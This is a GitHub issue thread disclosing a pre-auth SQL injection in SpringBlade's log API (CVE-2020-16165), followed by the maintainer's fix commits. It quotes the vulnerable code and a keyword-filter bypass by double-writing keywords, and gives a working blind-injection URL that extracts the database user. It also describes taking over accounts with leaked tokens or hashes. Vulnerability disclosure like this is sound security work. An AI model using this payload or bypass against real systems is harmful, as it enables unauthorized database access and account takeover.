chillzhuang / SpringBlade

SpringBlade 是一个由商业级项目升级优化而来的SpringCloud分布式微服务架构、SpringBoot单体式微服务架构并存的综合型项目,采用Java17 API重构了业务代码,完全遵循阿里巴巴编码规范。采用Spring Boot 3.2 、Spring Cloud 2023 、Mybatis 等核心技术,同时提供基于React和Vue的两个前端框架用于快速搭建企业级的SaaS多租户微服务平台。
https://bladex.cn
Apache License 2.0
6.53k stars 1.33k forks source link

Pre-auth SQL injection #9

Closed tz2u closed 4 years ago

tz2u commented 4 years ago

tl;dr Flaws in DAO/DTO implementation allows SQLi in order by clause. User token and/or password hash disclosed in pre-auth APIs of which are vulnerable to SQLi above as well.

detail

/api/blade-log/api/list

is exposed by default install. For instance, the demo site. upload_aaa29b3ad97ede8813529433d5c2c13c

\'Refresh token\' can be used to exchange for a valid jwt ticket, or in a different way to compromise user account, log in with credential cracked from leaking md5 hash.

Before actually stepping into the system, let's see what's else we could find on this API.

Request handling looks a lot like this

    /**
     * 查询多条(分页)
     */
    @GetMapping("/list")
    public R<IPage<LogUsualVo>> list(@ApiIgnore @RequestParam Map<String, Object> log, Query query) {
        IPage<LogUsual> pages = logService.page(Condition.getPage(query), Condition.getQueryWrapper(log, LogUsual.class));
        List<LogUsualVo> records = pages.getRecords().stream().map(logApi -> {
            LogUsualVo vo = BeanUtil.copy(logApi, LogUsualVo.class);
            vo.setStrId(Func.toStr(logApi.getId()));
            return vo;
        }).collect(Collectors.toList());
        IPage<LogUsualVo> pageVo = new Page<>(pages.getCurrent(), pages.getSize(), pages.getTotal());
        pageVo.setRecords(records);
        return R.data(pageVo);
    }

Condition.getPage() casts a few params to Int and replace 'bad words' with blank string in 'ascs' and 'desc' (which are then pasted into order by clause)

    public static <T> IPage<T> getPage(Query query) {
        Page<T> page = new Page((long)Func.toInt(query.getCurrent(), 1), (long)Func.toInt(query.getSize(), 10));
        page.setAsc(Func.toStrArray(SqlKeyword.filter(query.getAscs())));
        page.setDesc(Func.toStrArray(SqlKeyword.filter(query.getDescs())));
        return page;
    }

the Condition.getQueryWrapper() thing is a sort of indicator for batis data model, apart from being a type indicator it is in charge of building statement. after a few delegates and overrides it gets invoked in the way below

    public static <T> QueryWrapper<T> getQueryWrapper(Map<String, Object> query, Map<String, Object> exclude, Class<T> clazz) {
        exclude.forEach((k, v) -> {
            query.remove(k);
        });
        QueryWrapper<T> qw = new QueryWrapper();
        qw.setEntity(BeanUtil.newInstance(clazz));
        SqlKeyword.buildCondition(query, qw);
        return qw;
    }

Only seen tokenization stuffs in SqlKeyword.buildCondition(). At this stage, pre-auth visitors can perform SQLi by providing malicious query.get[AD]scs() values, which were directly taken from reuqest as strings, if SqlKeyword.filter() isn't too strong, right?

    public static String filter(String param) {
        return param == null ? null : param.replaceAll("(?i)'|%|--|insert|delete|select|count|group|union|drop|truncate|alter|grant|execute|exec|xp_cmdshell|call|declare|sql", "");
    }

Simply 'double-write' (eg, select -> selselectect) to bypass while doing real world exploitation. filter won't interfere with POCs below. Notice comma char (%2c) gets picked up and replaced in deeper delegate.

Iterate placeholder 1 and 97 in URL below (params decoded) from 1 to 20ish and 97 to 123 respectively.

/api/blade-log/api/list?ascs=time and ascii(substring(user() from 1))=97

by comparing response length, pick out uncommon returns, record relating iterator nums, gets you a ascii sequence of [98,108,97,100,101,120,?,108,111,99,97,108,104,111,115,116,?......] non-lowercase-alphabet chars are marked as '?'. upload_9998898e103ce51afaf152eaa9af391e

this gets you current db user.

>>> ''.join(map(chr,[98,108,97,100,101,120,63,108,111,99,97,108,104,111,115,116]))
'bladex?localhost'

post script the actul /api/blade-log/api/list sets a fixed "desc", is vulne to malicious "ascs" only.

IPage<LogApi> pages = logService.page(Condition.getPage(query.setDescs("create_time")), Condition.getQueryWrapper(log, LogApi.class));
tz2u commented 4 years ago

Left unpatched in 2.7.2 Affected components are blade-core-log-2.7.2.jar blade-core-mybatis-2.7.2.jar Relating CVE-2020-16165 and CNVD-2020-43762, credit to Chaitin Tech.

chillzhuang commented 4 years ago

thank you for your feedback

chillzhuang commented 4 years ago

done

https://github.com/chillzhuang/SpringBlade/commit/e2eb792c2602ba9add5b87a6afdc97ec6103900d

https://gitee.com/smallc/SpringBlade/commit/5acbe6a685916ed368a02f70c653ad440198cdd8 https://gitee.com/smallc/SpringBlade/commit/72ffd928a02eac022a496c4fd7aee8f5817ed7ca